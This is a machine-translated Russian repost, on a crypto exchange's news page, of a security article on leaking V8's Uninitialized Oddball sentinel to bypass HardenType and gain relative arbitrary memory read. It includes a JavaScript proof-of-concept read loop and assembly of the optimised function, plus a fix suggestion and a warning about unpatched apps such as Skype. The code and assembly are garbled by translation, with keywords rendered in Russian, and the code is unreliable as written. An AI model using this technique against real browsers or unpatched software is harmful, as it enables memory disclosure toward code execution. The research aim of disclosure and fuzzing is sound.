Уязвимость произвольного чтения в движке Chrome V8: обход HardenType с использованием Uninitialized Oddball

robot
Генерация тезисов в процессе

Раскритие технологии обхода HardenProtect Chrome v8

Введение

Sentinel value — это специальное значение в алгоритмах, которое часто используется как условие завершения для циклических или рекурсивных алгоритмов. В исходном коде Chrome присутствует множество Sentinel value. В последнее время исследователи смогли выполнить произвольный код в песочнице через утечку объекта TheHole. Команда Google вскоре обновила информацию о двух соответствующих CVE в дикой природе.

На самом деле, кроме объекта TheHole, в V8 есть и другие нативные объекты, которые не должны быть раскрыты в JS. В этой статье будет обсуждаться объект Uninitialized Oddball, который в настоящее время все еще может быть использован в самой последней версии V8.

Стоит отметить, что данный метод обладает определенной универсальностью:

  1. В CVE-2021-30551 впервые представлен poc, раскрывающий утечку internal uninitialized oddball.

  2. PoC для CVE-2022-1486 также напрямую раскрыл UninitializedOddball.

  3. Проблема с нераспределенной CVE также использует аналогичный подход.

Эти примеры демонстрируют универсальность и серьезность данной проблемы.

! Эксклюзивное раскрытие обхода Chrome v8 HardenProtect путем утечки сигнального значения

Значение Sentinel в V8

Большинство встроенных объектов V8 определено в файле v8/src/roots/roots.h, они последовательно расположены в памяти. Как только эти встроенные объекты, которые не должны быть раскрыты, будут раскрыты в Javascript, это может привести к выполнению произвольного кода в песочнице.

Мы можем раскрыть Uninitialized Oddball в JavaScript, изменив нативные функции v8. Конкретный метод заключается в изменении смещения относительно isolate в функции %TheHole(), чтобы она возвращала Uninitialized Oddball.

Эксклюзивное раскрытие обхода защиты Chrome v8 HardenProtect через утечку Sentinel Value

Байпасный HardenType

Основной код метода представлен ниже:

JavaScript function opt(obj, should_bailout) { var x = obj.prop; если (должен_спасать) { вернуть x; } вернуть obj[x]; }

функция read(obj, offset) { вернуть opt({prop: смещение}, ложь); }

var uninitialized = %TheHole(); var float_array = новый Float64Array(1); var int_array = новый Int32Array(float_array.buffer);

функция hex(i) { return "0x" + i.toString(16).padStart(8,"0"); }

для (var i = 0; I < 0x100; i++) { var res = read(uninitialized, i); float_array[0] = res; console.log(i + ": " + hex(int_array[0]) + " " + hex(int_array[1])); }

Данный код успешно проходит тестирование в v8-11.0.0 и по-прежнему позволяет осуществлять относительно произвольное чтение. Ключевое ассемблерное представление оптимизированной функции read следующее:

0x558b2000407c тестировать байт ptr [rdi+0xb], 0x1 0x558b20004080 jnz 0x558b200040f4 0x558b20004086 mov R11, [rdi+0xf] 0x558b2000408a LEA R9, [R11+0xf] 0x558b2000408e и r9, 0xfffffffffffffff8 0x558b20004092 мова R10D, [R9-0x1] 0x558b20004096 cmp edx, r10d 0x558b20004099 Джэ 0x558b200040f4 0x558b2000409f vmovsd xmm0, [r9+rdx*8+0x7] 0x558b200040a5 vmovq rax, xmm0 0x558b200040aa ret

Можно увидеть, что проверили свойство prop объекта obj, но не проверили значение, соответствующее obj.prop, а просто вычислили смещение в соответствии с семантикой JavaScript и вернули значение массива, что привело к путанице типов.

Рекомендуемый способ исправления заключается в добавлении проверки массива map, когда оптимизированная функция возвращает элементы массива, чтобы избежать прямого вычисления смещения для возврата значений.

Эксклюзивное разоблачение об обходе Chrome v8 HardenProtect через утечку Sentinel Value

! Эксклюзивное раскрытие обхода Chrome v8 HardenProtect путем утечки значения Sentinel

! Эксклюзивное раскрытие обхода Chrome v8 HardenProtect путем утечки сигнального значения

! Эксклюзивное раскрытие обхода Chrome v8 HardenProtect путем утечки значения Sentinel

Эксклюзивное разоблачение обхода Chrome v8 HardenProtect через утечку Sentinel Value

Предупреждение PatchGap

Проблема может заключаться в PatchGap, некоторые программы, такие как Skype, до сих пор не исправлены. В архитектуре x86, из-за отсутствия сжатия адресов, произвольное чтение и запись происходит относительно всего процесса. Хотя ASLR включен, из-за большого размера файла, у хакеров все еще есть высокая вероятность чтения и записи критического содержимого.

Этот PatchGap не только требует проверки конкретных проблем, но и значительно снизил сложность эксплуатации некоторых исторических уязвимостей. Рекомендуем производителям обратить внимание и проверить потенциально затронутое программное обеспечение.

Эксклюзивное разоблачение обхода Chrome v8 HardenProtect через утечку Sentinel Value

Резюме

В этой статье обсуждается метод произвольного чтения через утечку uninitialized_Oddball. В V8 есть и другие sentinel-значения, которые могут привести к подобным проблемам и заслуживают дальнейшего изучения. Рекомендуется рассмотреть возможность добавления sentinel-значений в fuzzer как переменных для выявления новых уязвимостей. Независимо от того, рассматриваются ли такие проблемы как официальные угрозы безопасности, они могут существенно сократить полный цикл эксплуатации для хакеров.

Эксклюзивное раскрытие обхода защиты Chrome v8 HardenProtect через утечку Sentinel Value

SENC-0.3%
Посмотреть Оригинал
На этой странице может содержаться сторонний контент, который предоставляется исключительно в информационных целях (не в качестве заявлений/гарантий) и не должен рассматриваться как поддержка взглядов компании Gate или как финансовый или профессиональный совет. Подробности смотрите в разделе «Отказ от ответственности» .
  • Награда
  • 7
  • Репост
  • Поделиться
комментарий
0/400
GateUser-c802f0e8vip
· 08-18 06:18
Ну вот, v8 снова выкидывает какие-то штучки.
Посмотреть ОригиналОтветить0
SneakyFlashloanvip
· 08-16 04:10
Дыра такая большая, а Chrome всё равно осмеливается так вести себя.
Посмотреть ОригиналОтветить0
WenMoon42vip
· 08-16 03:46
Еще одна дыра, у Гугла все еще не получается.
Посмотреть ОригиналОтветить0
SchrodingerWalletvip
· 08-16 03:45
Получил память, отлично! Начинается великая драма v8
Посмотреть ОригиналОтветить0
PortfolioAlertvip
· 08-16 03:45
Снова придется мучиться с v8, устал.
Посмотреть ОригиналОтветить0
RugPullAlarmvip
· 08-16 03:44
Еще одна v8 "отрава" была вытащена. Посмотрим, смог ли Google сбежать.
Посмотреть ОригиналОтветить0
GasOptimizervip
· 08-16 03:43
Настройка не прошла зря, вот и результат.
Посмотреть ОригиналОтветить0
  • Закрепить